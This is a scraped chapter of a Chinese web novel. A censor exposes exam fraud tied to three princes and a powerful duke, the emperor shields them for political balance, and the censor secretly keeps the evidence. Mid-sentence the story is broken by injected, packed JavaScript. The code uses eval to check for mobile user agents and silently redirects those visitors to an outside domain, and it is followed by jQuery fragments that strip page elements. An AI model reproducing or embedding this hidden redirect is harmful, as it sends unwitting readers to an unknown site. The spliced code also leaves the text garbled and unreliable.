文趣网 > 其他小说 > 他自深雪来 > 15. 沉渊
    皇宫御书房内,檀香袅袅,却压不住那扑面而来的窒息压抑。

    大靖皇帝萧承曜一身明黄色常服,端坐于龙案之后,面容威严,鬓角已染微霜。此刻,他眉头紧紧蹙起,指尖死死攥着陈景殊呈递的案情奏折,指节因用力泛出青白,眼底翻涌的震怒几乎要冲破桎梏,唯有多年身居高位的隐忍压着,未露半分失态。

    陈景殊立于殿中,绯色云纹官袍衬得他身姿挺拔如松,神色平静无波,将满殿的帝王威压尽数扛下。他身旁,禁军统领双手捧着封存证物的紫檀木匣,躬身而立,连呼吸都放得极轻,大气不敢出。

    从御史台到皇宫,一路之上,朝野震动、天下哗然的消息,早已先一步传入宫中。皇帝早已知晓科场舞弊案牵扯燕国公张从安与三位皇子,更听闻宫外士子联名请愿、百姓群情激愤、数位老将当庭死谏的盛况。可当他亲手翻开奏折,触到那一行行触目惊心的供词、一桩桩铁证如山的罪行时,心底的惊怒依旧翻涌难平。

    奏折之上,陈景殊笔锋凌厉,字字泣血,将春闱舞弊的始末抽丝剥茧,条理清晰:魏文谦等考官收受贿赂、徇私枉法的亲笔供状;张从安以门阀领袖之姿,借科场棋局安插门生、操控取士的隐秘脉络;更有三位皇子或明或暗的勾连。

    大皇子萧凛桓,元后嫡长,世家老臣、功勋旧部尽数归其麾下,手握京畿卫戍实权,内阁辅臣多有依附,借张从安之手把持科场,收拢士族势力,野心昭然,直指储位;

    三皇子萧凛瑜,淑妃所生,外戚财力雄厚,掌控大靖半壁盐铁财权,笼络地方官员与江南商贾,暗中截题、安插心腹,与大皇子势同水火,夺嫡之心毫不掩饰;

    七皇子萧凛辰,年幼伪装淡泊,勾结太后与内廷宦官,掌宫中情报网络,于浑水之中暗中培植势力,城府深不可测,伺机而动。

    燕国公张从安,三朝元老,门阀领袖,门生故吏遍布天下,以科场为棋局,以考官为棋子,把持朝政,妄图让天下英才尽出其门,只手遮天。

    四位核心人物,三方夺嫡势力,一张覆盖朝野的权力大网,借着科举舞弊的由头,被彻底摊开在帝王面前。

    陈景殊站在御书房中央,指尖紧紧扣着紫檀木匣的边缘,指腹泛出淡淡的青白,掌心的冷汗浸湿了锦缎官服。

    他心头悬着一块巨石,千钧之重,帝王心术,深不可测,他此番赌上的,究竟是帝王的清明公道,还是帝王的权衡制衡?

    御书房内死寂无声,唯有皇帝粗重的呼吸声,一声比一声沉重,渐渐化作压抑的闷响。

    萧承曜并非对朝局一无所知。登基十数载,他一直刻意维系着三足鼎立的平衡:大皇子掌世家京畿,三皇子掌财权地方,七皇子掌后宫内廷,三方势力旗鼓相当、互相牵制,方能让皇权稳如泰山。

    他亦知晓张从安为首的门阀势力盘根错节、尾大不掉,却不得不倚重其稳固朝堂,成为制衡皇子的重要棋子。世家、皇子、皇权,三者相互依存、相互制衡,本就是大靖朝堂的根基。

    可他万万没想到,这群人竟胆大到如此地步,敢将立国之本的科举,当成夺嫡争权的筹码,敢肆意践踏国法,寒尽天下士子之心,堵死寒门士子上升之路。

    科举不公,则国本不稳;国本不稳,则天下大乱。这是亘古不变的道理,萧承曜比谁都清楚。

    可愤怒过后,帝王的权衡与隐忍,瞬间占据了上风。

    动大皇子?他占嫡长正统,根基深厚,一旦动之,朝堂半数老臣离心离德,京畿卫戍生变,恐生祸乱;动三皇子?其掌控半壁财权,国用赋税多赖其支撑,一旦动之,国库空虚,地方叛乱,百姓再无宁日;动七皇子?其勾结后宫与内廷,一旦动之,后宫生乱,宦官倒戈,皇宫永无宁日;动张从安?其门生故吏遍布天下,四大世家根深蒂固,一旦动之,门阀集团集体反扑,朝堂瞬间分崩离析。

    三位皇子,一方门阀,牵一发而动全身。

    帝王之术,从来不是惩奸除恶,而是权衡利弊。在江山稳固与天下公道之间,萧承曜毫不犹豫地选择了前者。

    他缓缓松开攥紧奏折的手,将卷宗轻轻置于龙案之上,抬眼看向陈景殊,声音恢复了平日的平淡无波,听不出丝毫喜怒:“陈景殊,你查案忠心可嘉,效率甚高,朕心甚慰。”

    陈景殊躬身,声音沉稳:“臣不敢居功,只为恪守本分,为陛下分忧,为天下苍生请命。”

    “嗯。”皇帝淡淡应了一声,目光扫过一旁的紫檀木证物匣,却无半分开启之意,“此案案情,朕已尽知。科场舞弊,亵渎国法,寒士子之心,理应严惩。但皇子乃国本,关乎朝堂稳定;张从安乃三朝元老,身负朝野威望,皆不可轻动。”

    陈景殊心中猛地一沉,如坠冰窟。

    他终究还是猜到了。帝心难测,从来只有权衡,没有公道。皇帝不是不知真相,不是不知罪恶,只是不愿打破这脆弱的朝堂平衡。他宁愿牺牲天下士子的公道,牺牲国法的尊严,也要保住皇子与门阀,稳住自己的江山。

    御书房内的气氛,瞬间降至冰点。

    陈景殊沉默片刻,声音平静,却藏着难以掩饰的悲凉,字字清晰,掷地有声:“春闱舞弊,以魏文谦等考官为爪牙,以燕国公张从安为幕后操盘,三位皇子各怀心思,或明或暗勾连其中。大皇子借世家之势安插门生,三皇子以财权之便截题舞弊,七皇子浑水摸鱼培植势力。若不及时处置,朝纲动摇,天下士子寒心,国本将危。”

    最后八个字,他咬得极重,目光微微抬起,恰好与皇帝扫来的视线相撞,又极快垂下,将所有翻涌的情绪藏于眼底。

    他在等。

    等帝王的震怒,等帝王的决断,等一个能将幕后黑手连根拔起的契机。

    然而,皇帝的反应,却完全出乎他的意料。

    帝王并未如他所想那般勃然大怒,甚至连眉头都未曾皱一下。

    他顿了顿,语气变得不容置喙“大皇子占嫡长正统,世家老臣、功勋旧部尽数依附,京畿卫戍之权在握。”皇帝缓缓开口,语气平淡得如同在叙述一件与己无关的事,“三皇子掌控大靖半壁财权,盐铁商贾、地方官员尽在其掌控之中,国用赋税多依赖于他。七皇子虽年幼,却得太后青睐。”

    他顿了顿,目光终于落在陈景殊脸上:“燕国公张从安,三朝元老,门生故吏遍布天下,四大世家根深蒂固。陈景殊,你说,朕该如何处置?”

    陈景殊心头一凛。

    帝王不是在问他,而是在告诉他,这些人,动不得。

    “皇子乃国本,储君之系,天下根本,一动则朝野震荡,四方不安。”皇帝的声音依旧平淡,却带着不容置疑的威严,“张从安是三朝元老,身负朝野威望,四大世家盘根错节,牵一发而动全身。陈景殊,朕知你忠心,也知你查案辛苦,但此案,便按朝廷规制来办,只查魏文谦等涉事考官、舞弊的世家子弟,严惩不贷,公开宣判,平息舆情。至于皇子和张从安,朕自有处置,你不必再查,也不许再将他们牵扯其中,外传一字半句。”

    一语落地,御书房内的空气仿佛瞬间凝固。

    陈景殊只觉得心口被一只无形的手狠狠攥紧,闷痛瞬间蔓延至四肢百骸,连指尖都泛起刺骨的寒意。

    他早该料到的。

    从他踏入朝堂的第一天起,从他见识过帝王一次次在世家与寒门、皇子与忠臣之间和稀泥的那一刻起,他就该明白,这世间最难看透的,从来不是人心,是帝心;最不讲公道的,从来不是江湖,是皇权。

    帝王眼中,从来没有是非对错,没有忠奸善恶,更没有天下公道。

    只有权衡,只有制衡,只有皇权稳固。

    大皇子、三皇子、七皇子,三方势力旗鼓相当,互相牵制,才是帝王最想看到的局面。若动了任何一方,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618791|206144||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    另两方便会失衡,皇权便会受到威胁。至于张从安,门阀势力庞大,却是制衡皇子的棋子,也是维系朝堂稳定的基石。

    至于科举舞弊?至于天下士子?至于朝纲法度?

    在皇权稳固面前,都不过是可以牺牲的筹码。

    而他陈景殊,拼尽全力查出来的真相,呕心沥血收集的铁证,在帝王眼里,不过是一枚可以用来敲打世家、却绝不能用来撼动皇子的棋子。用之,则查贪腐;弃之,则护皇权。

    何其可笑,何其悲凉。

    片刻沉默后,陈景殊缓缓躬身,脊背挺得笔直,如同悬崖边的孤松,宁折不屈。他的声音依旧清冽如碎冰击石,却多了一丝沉到谷底的平静,没有半分辩驳,没有半分不甘:“臣,遵旨。”

    他知道,再多的争辩,再多的进谏,都毫无意义。

    帝王心意已决,皇权至高无上,他无法撼动分毫。若是执意抗旨,不仅自己会身首异处,就连手中的罪证,也会被帝王彻底销毁,真相永远掩埋,天下公道再也无从伸张。

    可就这样妥协,就这样放过真正的罪魁祸首,就这样让科考舞弊的罪恶不了了之,他不甘心。他对不起天下痛哭的士子,对不起绝望的百姓,更对不起自己十年沉冤的初心。

    心中翻涌的怒火与不甘,被他死死压在心底,眼底深处,闪过一丝极淡的决绝。

    皇帝见陈景殊顺从领旨,脸色稍稍缓和,语气也放缓了几分:“你能明白朕的苦心,甚好。此事交由你全权处理,务必快速结案,稳住朝野舆情,不得再生事端。待此事平息,朕自有封赏。”

    “臣,定不辱使命。”陈景殊再次躬身,声音平静无波。

    “退下吧。”

    “臣,告退。”

    陈景殊起身,缓步退出御书房。每一步,都走得无比沉重。御书房外的阳光刺眼,可他却只觉得浑身冰冷,从心底蔓延至四肢百骸。

    他早该明白的,在这金碧辉煌的皇宫之中,在这至高无上的皇权之下,所谓的公道,所谓的律法,所谓的民心,都不过是帝王权衡利弊的筹码。只要能稳住江山,能巩固皇权,牺牲再多,帝王都毫不在意。

    走出皇宫,禁军统领捧着证物匣,跟在陈景殊身后,小心翼翼地不敢言语。他能感受到这位陈大人周身的凛冽寒意,也能猜到御书房内那场帝王与孤臣的交锋,只是不敢多问半句。

    陈景殊驻足皇宫门前,望着朱雀大街上依旧群情激愤的士子与百姓,听着那声声“还我公道”的呐喊,心中百感交集。

    他不能就这么放弃。

    帝王要权衡,要□□,他可以顺从;帝王要压下舆论,要快速结案,他可以照做。但真正的罪证,真正的真相,他绝不能交出去,绝不能让其湮没在皇权的权衡之下。

    留着证据,不是妥协,不是屈服,而是隐忍待时。

    三位皇子夺嫡之争,愈演愈烈,迟早会从暗斗变成明争;门阀势力日渐膨胀,迟早会威胁到皇权统治。到那时,帝王再也无法维系平衡,必然会举起屠刀,清算皇子与门阀。

    而他手中的罪证,便是届时一击毙命的利刃,是昭告天下的唯一希望。

    无人知晓,在御史台深处的玄铁密室之中,一只锁死的铁盒里,静静躺着足以倾覆朝野、让罪魁祸首万劫不复的致命证据。

    隐忍,是为了更好的反击;等待,是为了最终的胜利。

    终有一日,这柄利刃会出鞘,直指张从安,直指三位争储皇子,直指所有祸国殃民的罪魁祸首。

    帝心难测又如何?皇权制衡又如何?

    他陈景殊的路,从来不是依附皇权,不是顺从帝王,不是做一枚任人摆布的棋子。

    他要做执棋人。

    要借这朝堂之势,借这夺嫡之争,借这帝王权衡,一步步,将所有仇敌拉入深渊,为父昭雪,为天下求公道,最终,定四海乾坤。